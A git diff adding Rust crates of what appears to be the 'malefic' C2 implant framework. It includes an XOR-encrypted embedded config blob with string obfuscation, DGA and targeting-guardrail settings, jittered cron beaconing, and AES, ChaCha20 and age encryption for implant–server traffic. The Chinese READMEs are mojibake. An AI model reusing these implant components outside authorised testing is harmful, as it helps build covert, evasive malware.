.get(obfstr!("max_packet_length")) + .and_then(|v| match v { + Value::Int(n) => Some(*n as usize), + _ => None, + }) + .unwrap_or(0), + }) +} + +/// Load runtime configuration from the embedded blob (if present), otherwise return `fallback`. +pub fn load_runtime_config(fallback: RuntimeConfig) -> RuntimeConfig { + if let Some(raw) = read_patched_payload() { + match decode_runtime_config_str(&raw) { + Ok(cfg) => return cfg, + Err(_err) => { + debug!("[config] Failed to decode runtime config blob: {:?}", _err); + } + } + } + + fallback +} + +/// Create a fixed-length ASCII string (4096 bytes) that fits exactly in the embedded buffer. +/// Format: `CFGv3B64` + base64(encrypted tinyserde bytes) + `#` padding. +#[cfg(feature = "encoder")] +pub fn encode_runtime_config(config: &RuntimeConfig) -> Result { + let cipher = XorCipher::new(BLOB_KEY_SEED); + let encrypted = runtime_to_value(config).to_bytes_encrypted(&cipher); + let b64 = general_purpose::STANDARD.encode(encrypted); + if b64.len() > CONFIG_BLOB_PAYLOAD_LEN { + return Err(BlobError::Oversized(b64.len())); + } + + let mut out = String::with_capacity(CONFIG_BLOB_TEXT_LEN); + // out.push_str(std::str::from_utf8(&CONFIG_BLOB_PREFIX).expect("prefix utf8")); + out.push_str(std::str::from_utf8(CONFIG_BLOB_TEXT.prefix()).expect("prefix utf8")); + out.push_str(&b64); + if out.len() < CONFIG_BLOB_TEXT_LEN { + out.extend(std::iter::repeat(PAD_BYTE as char).take(CONFIG_BLOB_TEXT_LEN - out.len())); + } + Ok(out) +} + +/// Decode runtime configuration from the fixed-length text produced by `encode_runtime_config`. +pub fn decode_runtime_config_str(text: &str) -> Result { + let trimmed = text + .trim_end_matches(PAD_BYTE as char) + .trim_end_matches('\0') + .trim(); + debug!("[config] trim text {:?}", trimmed); + if trimmed.is_empty() { + return Err(BlobError::Empty); + } + // let Some(rest) = trimmed.strip_prefix(std::str::from_utf8(&CONFIG_BLOB_PREFIX).expect("prefix utf8")) else { + let Some(rest) = + trimmed.strip_prefix(std::str::from_utf8(CONFIG_BLOB_TEXT.prefix()).expect("prefix utf8")) + else { + return Err(BlobError::BadPrefix); + }; + if rest.is_empty() { + return Err(BlobError::Empty); + } + let cipher_bytes = general_purpose::STANDARD.decode(rest)?; + decode_runtime_config_bytes(&cipher_bytes) +} + +/// Decode runtime configuration from encrypted bytes (after base64 decoding). +pub fn decode_runtime_config_bytes(cipher_bytes: &[u8]) -> Result { + let value = Value::from_bytes_encrypted(cipher_bytes, &XorCipher::new(BLOB_KEY_SEED))?; + runtime_from_value(&value) +} + +// Runtime-mutable transport key (overrides static KEY when set via switch) +static RUNTIME_KEY: std::sync::OnceLock>>> = + std::sync::OnceLock::new(); + +fn runtime_key_lock() -> &'static std::sync::Mutex>> { + RUNTIME_KEY.get_or_init(|| std::sync::Mutex::new(None)) +} + +/// Update the transport symmetric key at runtime (called by switch). +pub fn update_runtime_key(key: Vec) { + if let Ok(mut guard) = runtime_key_lock().lock() { + *guard = Some(key); + } +} + +/// Get the current transport key (runtime override or static KEY). +pub fn get_transport_key() -> Vec { + if let Ok(guard) = runtime_key_lock().lock() { + if let Some(ref key) = *guard { + return key.clone(); + } + } + crate::KEY.clone() +} + +fn read_patched_payload() -> Option { + let mut buf = Vec::with_capacity(CONFIG_BLOB_TEXT_LEN); + buf.extend_from_slice(CONFIG_BLOB_TEXT.prefix()); + buf.extend_from_slice(CONFIG_BLOB_TEXT.payload()); + + let mut end = buf.len(); + while end > 0 && (buf[end - 1] == PAD_BYTE || buf[end - 1] == 0) { + end -= 1; + } + + if end == 0 { + return None; + } + + let trimmed = &buf[..end]; + let as_str = std::str::from_utf8(trimmed).ok()?; + Some(as_str.to_string()) +} + +#[cfg(all(test, feature = "encoder"))] +mod tests { + use super::*; + + fn sample_config() -> RuntimeConfig { + RuntimeConfig { + cron: "*/5 * * * * * *".into(), + jitter: 0.2, + keepalive: true, + retry: 3, + max_cycles: -1, + name: "demo".into(), + key: b"demo-key".to_vec(), + use_env_proxy: false, + proxy_url: "".into(), + proxy_scheme: "".into(), + proxy_host: "".into(), + proxy_port: "".into(), + proxy_username: "".into(), + proxy_password: "".into(), + dga_enable: false, + dga_key: "".into(), + dga_interval_hours: 2, + guardrail: GuardrailConfig { + ip_addresses: vec![], + usernames: vec![], + server_names: vec![], + domains: vec![], + require_all: true, + }, + server_configs: vec![{ + let transport_config = + TransportConfig::Http(HttpRequestConfig::new("POST", "/", "1.1")); + ServerConfig { + address: "example.com:443".into(), + protocol: ProtocolType::Http, + session_config: SessionConfig::default_for_transport(&transport_config, true), + transport_config, + tls_config: Some(TlsConfig { + enable: true, + version: "auto".into(), + sni: "example.com".into(), + skip_verification: true, + server_ca: Vec::new(), + mtls_config: None, + }), + proxy_config: None, + domain_suffix: None, + } + }], + } + } + + #[test] + fn round_trip_encoding() { + let config = sample_config(); + let encoded = encode_runtime_config(&config).expect("encode"); + assert_eq!(encoded.len(), CONFIG_BLOB_B64_LEN); + + let decoded = decode_runtime_config_str(&encoded).expect("decode"); + assert_eq!(decoded, config); + } + + #[test] + fn rejects_bad_prefix() { + let config = sample_config(); + let encoded = encode_runtime_config(&config).expect("encode"); + let mut corrupted = encoded.into_bytes(); + corrupted[0] = b'X'; + let corrupted = String::from_utf8(corrupted).expect("utf8"); + let result = decode_runtime_config_str(&corrupted); + assert!(matches!(result, Err(BlobError::BadPrefix))); + } +} diff --git a/malefic-crates/cron/Cargo.toml b/malefic-crates/cron/Cargo.toml new file mode 100644 index 0000000..4c3da2f --- /dev/null +++ b/malefic-crates/cron/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "malefic-cron" +version = "0.1.0" +edition = "2021" + +[dependencies] +cron = { version = "0.15", default-features = false } +chrono = { workspace = true } +malefic-common = { workspace = true } diff --git a/malefic-crates/cron/README.md b/malefic-crates/cron/README.md new file mode 100644 index 0000000..73b13ff --- /dev/null +++ b/malefic-crates/cron/README.md @@ -0,0 +1,76 @@ +# malefic-cron + +è½»é‡çº§ cron 调度器,基于标准 cron 表达å¼è®¡ç®—ä¸‹æ¬¡æ‰§è¡Œé—´éš”ï¼Œå¹¶æ”¯æŒ jitter éšæœºæŠ–动。 + +## 功能简介 + +- è§£æžæ ‡å‡† cron 表达å¼ï¼ˆç§’级精度,6 段格å¼ï¼‰ +- è®¡ç®—å½“å‰æ—¶åˆ»åˆ°ä¸‹ä¸€æ¬¡è§¦å‘的毫秒间隔 +- æ”¯æŒ jitter 抖动,在基准间隔上å åŠ éšæœºå移,é¿å…å¤šå®žä¾‹åŒæ—¶è§¦å‘ +- 最å°è¿”回间隔 1000ms,防止过于频ç¹çš„调度 +- 当无法获å–ä¸‹ä¸€æ¬¡è§¦å‘æ—¶é—´æ—¶ï¼Œè‡ªåŠ¨å›žé€€è‡³ 30 秒默认间隔 + +## 核心结构 + +### `Cronner` + +| 字段 | 类型 | 说明 | +|------|------|------| +| `schedule` | `cron::Schedule` | è§£æžåŽçš„ cron 调度计划 | +| `jitter` | `f64` | 抖动系数,å–值 `0.0`~`1.0`,`0.0` 表示无抖动 | + +### 方法 + +| 方法 | 说明 | +|------|------| +| `new(expression, jitter)` | æ ¹æ® cron 表达å¼å’Œ jitter 系数创建调度器 | +| `next_interval()` | 返回è·ä¸‹æ¬¡è§¦å‘çš„æ¯«ç§’æ•°ï¼ˆå·²å« jitter) | +| `expression()` | 返回原始 cron 表达å¼å­—符串 | + +## 基本用法 + +```rust +use malefic_cron::Cronner; + +// æ¯ 30 秒触å‘一次,jitter 系数 0.1ï¼ˆå³ +-10% éšæœºå移) +let scheduler = Cronner::new("0/30 * * * * *", 0.1).unwrap(); + +// 获å–下次执行的等待时间(毫秒) +let wait_ms = scheduler.next_interval(); + +// 工作时间段调度:æ¯å°æ—¶æ•´ç‚¹ï¼Œ9:00-17:00,无抖动 +let work_scheduler = Cronner::new("0 0 9-17 * * *", 0.0).unwrap(); +let interval = work_scheduler.next_interval(); +``` + +## Jitter 机制 + +jitter ç”¨äºŽåœ¨åŸºå‡†é—´éš”ä¸Šå¼•å…¥éšæœºå移,计算方å¼ï¼š + +``` +jitter_range = base_ms * jitter +offset = random(-jitter_range, +jitter_range) +result = base_ms + offset +``` + +例如 `jitter = 0.2`ã€åŸºå‡†é—´éš” 10000ms 时,实际间隔在 8000ms ~ 12000ms ä¹‹é—´éšæœºåˆ†å¸ƒã€‚ + +## Cron è¡¨è¾¾å¼æ ¼å¼ + +采用 6 段格å¼ï¼ˆå«ç§’): + +``` +ç§’ 分 æ—¶ æ—¥ 月 周 +``` + +| 示例 | å«ä¹‰ | +|------|------| +| `0/30 * * * * *` | æ¯ 30 ç§’ | +| `0 */5 * * * *` | æ¯ 5 分钟 | +| `0 0 9-17 * * *` | æ¯å¤© 9:00-17:00 整点 | +| `0 0 0 * * MON-FRI` | 工作日零点 | + +## å‚考链接 + +- [cron crate](https://crates.io/crates/cron) - Rust cron 表达å¼è§£æžåº“ +- [Cron 表达å¼è¯­æ³•](https://en.wikipedia.org/wiki/Cron#CRON_expression) diff --git a/malefic-crates/cron/src/lib.rs b/malefic-crates/cron/src/lib.rs new file mode 100644 index 0000000..7fca9e9 --- /dev/null +++ b/malefic-crates/cron/src/lib.rs @@ -0,0 +1,78 @@ +use chrono::Utc; +use cron::Schedule; +use std::str::FromStr; + +pub struct Cronner { + schedule: Schedule, + jitter: f64, +} + +impl Cronner { + pub fn new(expression: &str, jitter: f64) -> Result { + let schedule = Schedule::from_str(expression)?; + Ok(Self { schedule, jitter }) + } + + pub fn next_interval(&self) -> u64 { + const DEFAULT_INTERVAL_SECS: i64 = 30; + const MIN_INTERVAL_MS: u64 = 1000; + + let now = Utc::now(); + let next_time = self + .schedule + .upcoming(Utc) + .next() + .unwrap_or_else(|| now + chrono::Duration::seconds(DEFAULT_INTERVAL_SECS)); + + let base_ms = next_time + .signed_duration_since(now) + .num_milliseconds() + .max(0) as u64; + + self.apply_jitter(base_ms).max(MIN_INTERVAL_MS) + } + + fn apply_jitter(&self, base_ms: u64) -> u64 { + if self.jitter == 0.0 { + return base_ms; + } + + let jitter_range = (base_ms as f64 * self.jitter) as u64; + if jitter_range == 0 { + return base_ms; + } + + let offset = + malefic_common::random::range_u64(0, jitter_range * 2 + 1) as i64 - jitter_range as i64; + + (base_ms as i64).saturating_add(offset).max(0) as u64 + } + + pub fn expression(&self) -> String { + self.schedule.source().to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_cron_scheduler() { + let scheduler = Cronner::new("0/30 * * * * *", 0.1).unwrap(); + let interval = scheduler.next_interval(); + assert!(interval > 0); + assert!(interval <= 30000 + 3000); + + let scheduler = Cronner::new("0 * 9-17 * * *", 0.0).unwrap(); + assert!(scheduler.next_interval() > 0); + } + + #[test] + fn test_jitter() { + let scheduler = Cronner::new("0/10 * * * * *", 0.2).unwrap(); + let intervals: Vec = (0..5).map(|_| scheduler.next_interval()).collect(); + let all_same = intervals.windows(2).all(|w| w[0] == w[1]); + assert!(!all_same, "Jitter should cause variation in intervals"); + } +} diff --git a/malefic-crates/crypto/Cargo.toml b/malefic-crates/crypto/Cargo.toml new file mode 100644 index 0000000..deee965 --- /dev/null +++ b/malefic-crates/crypto/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "malefic-crypto" +version = "0.1.0" +edition = "2021" + +[features] +default = ["crypto_aes"] + +crypto = [] +crypto_xor = ["crypto"] +crypto_aes = ["crypto", "aes", "ctr"] +crypto_chacha20 = ["crypto", "chacha20"] + +secure = ["age"] + +[dependencies] +thiserror = { workspace = true } +cfg-if = { workspace = true } +snap = "1.1.1" +chacha20 = { version = "0.9.0", optional = true } +aes = { workspace = true, optional = true } +ctr = { workspace = true, optional = true } +age = { workspace = true, optional = true } diff --git a/malefic-crates/crypto/README.md b/malefic-crates/crypto/README.md new file mode 100644 index 0000000..3d46afc --- /dev/null +++ b/malefic-crates/crypto/README.md @@ -0,0 +1,83 @@ +# malefic-crypto + +æä¾›æµå¼å¯¹ç§°åР坆/解密与 Snappy æ•°æ®åŽ‹ç¼©èƒ½åŠ›çš„è½»é‡çº§å¯†ç å­¦å·¥å…·åº“。 + +## 功能简介 + +- **æµå¼åР坆**:基于 `CryptoStream` trait,统一å°è£…多ç§å¯¹ç§°åŠ å¯†ç®—æ³•ï¼ˆAES-256-CTR / ChaCha20 / XOR) +- **æ•°æ®åŽ‹ç¼©**:基于 Snappy 算法的快速压缩与解压缩 +- **age 加密**:基于 X25519 çš„éžå¯¹ç§°åŠ å¯†ï¼Œæ”¯æŒå¯†é’¥å¯¹ç”Ÿæˆã€åР坆ã€è§£å¯†ä¸Žå¯†é’¥è½®æ¢ +- **编译期算法选择**:通过 feature flag 在编译期选定加密åŽç«¯ï¼Œé›¶è¿è¡Œæ—¶å¼€é”€ + +## Features + +| Feature | 说明 | +|---------|------| +| `crypto_aes` | AES-256-CTR æµå¼åŠ å¯†ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `crypto_chacha20` | ChaCha20 æµå¼åР坆 | +| `crypto_xor` | XOR æµå¼åР坆 | +| `secure` | å¯ç”¨ age (X25519) éžå¯¹ç§°åР坆 | + +> `crypto_aes`ã€`crypto_chacha20`ã€`crypto_xor` 三者互斥,编译时åªèƒ½é€‰æ‹©å…¶ä¸€ä½œä¸º `Cryptor` åŽç«¯ã€‚ + +## 核心类型 + +- **`Cryptor`** - 加密器实例,æä¾› `encrypt`ã€`decrypt`ã€`reset` 方法 +- **`CryptoStream`** - æµå¼åР坆 trait,所有加密åŽç«¯å‡éœ€å®žçް +- **`CryptorError`** - 统一错误类型 + +## 基本用法 + +### 对称加密 + +```rust +use malefic_crypto::crypto::{new_cryptor, Cryptor}; + +// 创建加密器(key: 32 字节, iv: 16 字节,ä¸è¶³è‡ªåŠ¨å¡«å……ï¼‰ +let key = b"my-secret-key".to_vec(); +let iv = b"my-iv".to_vec(); +let mut cryptor = new_cryptor(key, iv); + +// 加密 +let plaintext = b"hello world".to_vec(); +let ciphertext = cryptor.encrypt(plaintext).unwrap(); + +// é‡ç½®å¯†é’¥æµçжæ€åŽè§£å¯† +cryptor.reset(); +let decrypted = cryptor.decrypt(ciphertext).unwrap(); +assert_eq!(decrypted, b"hello world"); +``` + +### Snappy 压缩 + +```rust +use malefic_crypto::compress::{compress, decompress}; + +let data = b"some data to compress"; +let compressed = compress(data).unwrap(); +let decompressed = decompress(&compressed).unwrap(); +assert_eq!(decompressed, data); +``` + +### age éžå¯¹ç§°åР坆 + +```rust +use malefic_crypto::crypto::age::*; + +// ç”Ÿæˆ X25519 密钥对 +let (private_key, public_key) = generate_age_keypair(); + +// 加密 +let ciphertext = age_encrypt(b"secret data", &public_key).unwrap(); + +// 解密 +let plaintext = age_decrypt(&ciphertext, &private_key).unwrap(); +assert_eq!(plaintext, b"secret data"); +``` + +## å‚考链接 + +- [RustCrypto AES](https://github.com/RustCrypto/block-ciphers/tree/master/aes) +- [RustCrypto ChaCha20](https://github.com/RustCrypto/stream-ciphers/tree/master/chacha20) +- [Snappy (snap crate)](https://github.com/BurntSushi/rust-snappy) +- [age encryption](https://github.com/str4d/rage) diff --git a/malefic-crates/crypto/src/compress/mod.rs b/malefic-crates/crypto/src/compress/mod.rs new file mode 100644 index 0000000..4aca59a --- /dev/null +++ b/malefic-crates/crypto/src/compress/mod.rs @@ -0,0 +1,16 @@ +use snap::raw::{Decoder, Encoder}; +use std::io; + +pub fn compress(data: &[u8]) -> io::Result> { + let mut encoder = Encoder::new(); + encoder + .compress_vec(data) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e)) +} + +pub fn decompress(compressed_data: &[u8]) -> io::Result> { + let mut decoder = Decoder::new(); + decoder + .decompress_vec(compressed_data) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e)) +} diff --git a/malefic-crates/crypto/src/crypto/aes.rs b/malefic-crates/crypto/src/crypto/aes.rs new file mode 100644 index 0000000..0ab4d2a --- /dev/null +++ b/malefic-crates/crypto/src/crypto/aes.rs @@ -0,0 +1,66 @@ +use crate::crypto::CryptoStream; +use aes::Aes256; +use ctr::cipher::{KeyIvInit, StreamCipher}; +use std::io::{Cursor, Read, Write}; + +type Aes256Ctr = ctr::Ctr128BE; + +#[derive(Clone)] +pub struct AesCtrEncryptor { + key: [u8; 32], + iv: [u8; 16], + encrypt_cipher: Option, + decrypt_cipher: Option, +} + +impl AesCtrEncryptor { + pub fn new(key: [u8; 32], iv: [u8; 16]) -> Self { + let encrypt_cipher = Aes256Ctr::new(&key.into(), &iv.into()); + let decrypt_cipher = Aes256Ctr::new(&key.into(), &iv.into()); + Self { + key, + iv, + encrypt_cipher: Some(encrypt_cipher), + decrypt_cipher: Some(decrypt_cipher), + } + } +} + +impl CryptoStream for AesCtrEncryptor { + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let cipher = self + .encrypt_cipher + .as_mut() + .ok_or("Cipher not initialized".to_string())?; + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + cipher.apply_keystream(&mut buffer); + writer.write_all(&buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let cipher = self + .decrypt_cipher + .as_mut() + .ok_or("Cipher not initialized".to_string())?; + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + cipher.apply_keystream(&mut buffer); + writer.write_all(&buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn reset(&mut self) { + self.encrypt_cipher = Some(Aes256Ctr::new(&self.key.into(), &self.iv.into())); + self.decrypt_cipher = Some(Aes256Ctr::new(&self.key.into(), &self.iv.into())); + } +} diff --git a/malefic-crates/crypto/src/crypto/age.rs b/malefic-crates/crypto/src/crypto/age.rs new file mode 100644 index 0000000..e980934 --- /dev/null +++ b/malefic-crates/crypto/src/crypto/age.rs @@ -0,0 +1,192 @@ +use age::secrecy::ExposeSecret; +use age::x25519; +use std::str::FromStr; + +pub fn generate_age_keypair() -> (String, String) { + let identity = x25519::Identity::generate(); + let recipient = identity.to_public(); + ( + identity.to_string().expose_secret().to_string(), + recipient.to_string(), + ) +} + +pub fn parse_age_identity(private_key: &str) -> Result { + x25519::Identity::from_str(private_key).map_err(|e| format!("Invalid private key: {}", e)) +} + +pub fn parse_age_recipient(public_key: &str) -> Result { + x25519::Recipient::from_str(public_key).map_err(|e| format!("Invalid public key: {}", e)) +} + +pub fn age_encrypt(data: &[u8], public_key: &str) -> Result, String> { + let recipient = parse_age_recipient(public_key)?; + age::encrypt(&recipient, data).map_err(|e| format!("Failed to encrypt: {}", e)) +} + +pub fn age_decrypt(encrypted_data: &[u8], private_key: &str) -> Result, String> { + let identity = parse_age_identity(private_key)?; + age::decrypt(&identity, encrypted_data).map_err(|e| format!("Failed to decrypt: {}", e)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_age_encrypt_decrypt_roundtrip() { + let (private_key, public_key) = generate_age_keypair(); + let plaintext = b"Hello, age encryption!"; + + let encrypted = age_encrypt(plaintext, &public_key).expect("encrypt failed"); + assert_ne!( + encrypted, plaintext, + "ciphertext must differ from plaintext" + ); + assert!( + encrypted.len() > plaintext.len(), + "ciphertext must be larger than plaintext" + ); + + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt failed"); + assert_eq!( + decrypted, plaintext, + "round-trip must recover original data" + ); + } + + #[test] + fn test_age_bidirectional_communication() { + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Implant -> Server + let msg = b"implant checkin data"; + let enc = age_encrypt(msg, &server_pub).expect("encrypt to server"); + let dec = age_decrypt(&enc, &server_priv).expect("server decrypt"); + assert_eq!(dec, msg); + + // Server -> Implant + let msg2 = b"server tasking payload"; + let enc2 = age_encrypt(msg2, &implant_pub).expect("encrypt to implant"); + let dec2 = age_decrypt(&enc2, &implant_priv).expect("implant decrypt"); + assert_eq!(dec2, msg2); + } + + #[test] + fn test_age_wrong_key_decrypt_fails() { + let (_priv_a, pub_a) = generate_age_keypair(); + let (priv_b, _pub_b) = generate_age_keypair(); + + let encrypted = age_encrypt(b"secret", &pub_a).expect("encrypt"); + assert!( + age_decrypt(&encrypted, &priv_b).is_err(), + "wrong key must fail" + ); + } + + #[test] + fn test_age_tamper_detection() { + let (private_key, public_key) = generate_age_keypair(); + let mut encrypted = age_encrypt(b"integrity data", &public_key).expect("encrypt"); + + let mid = encrypted.len() / 2; + encrypted[mid] ^= 0xFF; + + assert!( + age_decrypt(&encrypted, &private_key).is_err(), + "tampered data must fail" + ); + } + + #[test] + fn test_age_empty_plaintext() { + let (private_key, public_key) = generate_age_keypair(); + let encrypted = age_encrypt(b"", &public_key).expect("encrypt empty"); + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt empty"); + assert_eq!(decrypted, b""); + } + + #[test] + fn test_age_large_payload() { + let (private_key, public_key) = generate_age_keypair(); + let plaintext: Vec = (0..65536).map(|i| (i % 256) as u8).collect(); + + let encrypted = age_encrypt(&plaintext, &public_key).expect("encrypt large"); + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt large"); + assert_eq!(decrypted, plaintext); + } + + #[test] + fn test_age_public_key_derivation() { + let (private_key, public_key) = generate_age_keypair(); + let identity = parse_age_identity(&private_key).expect("parse identity"); + let derived_pub = identity.to_public().to_string(); + assert_eq!(derived_pub, public_key, "derived public key must match"); + } + + #[test] + fn test_age_key_exchange_e2e() { + // Phase 1: Initial keys + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Verify initial bidirectional + let enc1 = age_encrypt(b"init i2s", &server_pub).unwrap(); + assert_eq!(age_decrypt(&enc1, &server_priv).unwrap(), b"init i2s"); + let enc2 = age_encrypt(b"init s2i", &implant_pub).unwrap(); + assert_eq!(age_decrypt(&enc2, &implant_priv).unwrap(), b"init s2i"); + + // Phase 2: Key rotation + let (new_server_priv, new_server_pub) = generate_age_keypair(); + let req = age_encrypt(new_server_pub.as_bytes(), &implant_pub).unwrap(); + let dec_req = age_decrypt(&req, &implant_priv).unwrap(); + assert_eq!(String::from_utf8(dec_req).unwrap(), new_server_pub); + + // Phase 3: Implant new keypair + let (new_implant_priv, new_implant_pub) = generate_age_keypair(); + let resp = age_encrypt(new_implant_pub.as_bytes(), &server_pub).unwrap(); + let dec_resp = age_decrypt(&resp, &server_priv).unwrap(); + assert_eq!(String::from_utf8(dec_resp).unwrap(), new_implant_pub); + + // Phase 4: New keys work + let enc3 = age_encrypt(b"post i2s", &new_server_pub).unwrap(); + assert_eq!(age_decrypt(&enc3, &new_server_priv).unwrap(), b"post i2s"); + let enc4 = age_encrypt(b"post s2i", &new_implant_pub).unwrap(); + assert_eq!(age_decrypt(&enc4, &new_implant_priv).unwrap(), b"post s2i"); + + // Phase 5: Old keys fail on new data + assert!( + age_decrypt(&enc3, &server_priv).is_err(), + "old server key must fail" + ); + assert!( + age_decrypt(&enc4, &implant_priv).is_err(), + "old implant key must fail" + ); + } + + #[test] + fn test_age_encrypt_decrypt_key_separation() { + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, _implant_pub) = generate_age_keypair(); + + let msg = b"test separation"; + let encrypted = age_encrypt(msg, &server_pub).unwrap(); + + // Correct: decrypt with server_priv + assert_eq!(age_decrypt(&encrypted, &server_priv).unwrap(), msg); + + // Wrong: public key is not a valid identity + assert!( + age_decrypt(&encrypted, &server_pub).is_err(), + "public key must not work as decrypt key" + ); + + // Wrong: unrelated private key + assert!( + age_decrypt(&encrypted, &implant_priv).is_err(), + "unrelated private key must fail" + ); + } +} diff --git a/malefic-crates/crypto/src/crypto/chacha20.rs b/malefic-crates/crypto/src/crypto/chacha20.rs new file mode 100644 index 0000000..c3bcbab --- /dev/null +++ b/malefic-crates/crypto/src/crypto/chacha20.rs @@ -0,0 +1,59 @@ +use crate::crypto::CryptoStream; +use chacha20::cipher::{KeyIvInit, StreamCipher, StreamCipherSeek}; +use chacha20::ChaCha20; +use std::io::{Cursor, Read, Write}; + +pub struct ChaCha20Encryptor { + key: [u8; 32], + iv: [u8; 12], + encrypt_offset: u64, + decrypt_offset: u64, +} + +impl ChaCha20Encryptor { + pub fn new(key: [u8; 32], iv: [u8; 12]) -> Self { + ChaCha20Encryptor { + key, + iv, + encrypt_offset: 0, + decrypt_offset: 0, + } + } +} + +impl CryptoStream for ChaCha20Encryptor { + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let mut cipher = ChaCha20::new(&self.key.into(), &self.iv.into()); + cipher.seek(self.encrypt_offset); + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + cipher.apply_keystream(&mut buffer); + self.encrypt_offset += buffer.len() as u64; + writer.write_all(&buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let mut cipher = ChaCha20::new(&self.key.into(), &self.iv.into()); + cipher.seek(self.decrypt_offset); + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + cipher.apply_keystream(&mut buffer); + self.decrypt_offset += buffer.len() as u64; + writer.write_all(&buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn reset(&mut self) { + self.encrypt_offset = 0; + self.decrypt_offset = 0; + } +} diff --git a/malefic-crates/crypto/src/crypto/mod.rs b/malefic-crates/crypto/src/crypto/mod.rs new file mode 100644 index 0000000..6d479a5 --- /dev/null +++ b/malefic-crates/crypto/src/crypto/mod.rs @@ -0,0 +1,92 @@ +#[cfg(feature = "crypto_aes")] +pub mod aes; +#[cfg(feature = "secure")] +pub mod age; +#[cfg(feature = "crypto_chacha20")] +pub mod chacha20; +#[cfg(feature = "crypto_xor")] +pub mod xor; + +#[derive(Error, Debug)] +pub enum CryptorError { + #[error("Encrypt error, {0}")] + EncryptError(String), + #[error("Decrypt error, {0}")] + DecryptError(String), + #[error("I/O error, {0}")] + IO(#[from] std::io::Error), +} + +pub trait CryptoStream: Send + Sync { + fn encrypt( + &mut self, + reader: &mut std::io::Cursor>, + writer: &mut std::io::Cursor>, + ) -> Result<(), String>; + fn decrypt( + &mut self, + reader: &mut std::io::Cursor>, + writer: &mut std::io::Cursor>, + ) -> Result<(), String>; + fn reset(&mut self); +} + +use std::vec::Vec; +use thiserror::Error; + +cfg_if::cfg_if! { + if #[cfg(feature = "crypto_aes")] { + pub use aes::AesCtrEncryptor as cryptor; + pub fn new_cryptor(key: Vec, iv: Vec) -> Cryptor { + let key_array: [u8; 32] = pkcs7_pad(key, 32).try_into().expect("Invalid key length for AES"); + let iv_array: [u8; 16] = pkcs7_pad(iv, 16).try_into().expect("Invalid IV length for AES"); + Cryptor{cryptor: cryptor::new(key_array, iv_array)} + } + } else if #[cfg(feature = "crypto_xor")] { + pub use xor::XorEncryptor as cryptor; + pub fn new_cryptor(key: Vec, iv: Vec) -> Cryptor { + Cryptor{cryptor: cryptor::new(key, iv)} + } + } else { + compile_error!("No cryptor selected"); + } +} + +#[derive(Clone)] +pub struct Cryptor { + pub cryptor: cryptor, +} + +impl Cryptor { + pub fn encrypt(&mut self, data: Vec) -> Result, CryptorError> { + let mut reader = std::io::Cursor::new(data); + let mut writer = std::io::Cursor::new(Vec::new()); + self.cryptor + .encrypt(&mut reader, &mut writer) + .map_err(|e| CryptorError::EncryptError(e))?; + Ok(writer.into_inner()) + } + + pub fn decrypt(&mut self, data: Vec) -> Result, CryptorError> { + let mut reader = std::io::Cursor::new(data); + let mut writer = std::io::Cursor::new(Vec::new()); + self.cryptor + .decrypt(&mut reader, &mut writer) + .map_err(|e| CryptorError::DecryptError(e))?; + Ok(writer.into_inner()) + } + + pub fn reset(&mut self) { + self.cryptor.reset(); + } +} + +pub fn pkcs7_pad(mut data: Vec, block_size: usize) -> Vec { + if data.len() >= block_size { + data.truncate(block_size); + return data; + } + let padding = block_size - data.len(); + data.extend(vec![0u8; padding]); + data +} diff --git a/malefic-crates/crypto/src/crypto/xor.rs b/malefic-crates/crypto/src/crypto/xor.rs new file mode 100644 index 0000000..e0a16c1 --- /dev/null +++ b/malefic-crates/crypto/src/crypto/xor.rs @@ -0,0 +1,66 @@ +use crate::crypto::CryptoStream; +use std::io::{Cursor, Read, Write}; + +#[derive(Clone)] +pub struct XorEncryptor { + key: Vec, + iv: Vec, + encrypt_counter: usize, + decrypt_counter: usize, +} + +impl XorEncryptor { + pub fn new(key: Vec, iv: Vec) -> Self { + XorEncryptor { + key, + iv, + encrypt_counter: 0, + decrypt_counter: 0, + } + } +} + +fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) { + let key_len = key.len(); + let iv_len = iv.len(); + for (i, byte) in data.iter_mut().enumerate() { + let index = *counter + i; + *byte ^= key[index % key_len] ^ iv[index % iv_len]; + } + *counter += data.len(); +} + +impl CryptoStream for XorEncryptor { + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + let key = self.key.clone(); + let iv = self.iv.clone(); + xor_process(&mut buffer, &key, &iv, &mut self.encrypt_counter); + writer.write_all(&mut buffer).map_err(|e| e.to_string())?; + Ok(()) + } + + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let mut buffer = Vec::new(); + reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; + let key = self.key.clone(); + let iv = 